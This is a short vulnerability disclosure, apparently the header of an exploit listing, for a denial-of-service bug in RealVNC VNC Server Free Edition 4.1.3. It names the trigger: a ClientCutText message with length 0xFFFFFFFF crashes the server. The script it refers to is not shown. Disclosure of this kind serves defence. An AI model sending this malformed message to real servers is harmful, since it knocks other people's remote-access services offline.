RealVNC VNC Server Free Edition 4.1.3 Denial Of Service

Sending a ClientCutText Message with a length of 0xFFFFFFFF crashes the server with the exception shown below. Note: while the vulnerability is present regardless of authentication, for the sake of simplicity this script only works on servers configured to run with no authentication.
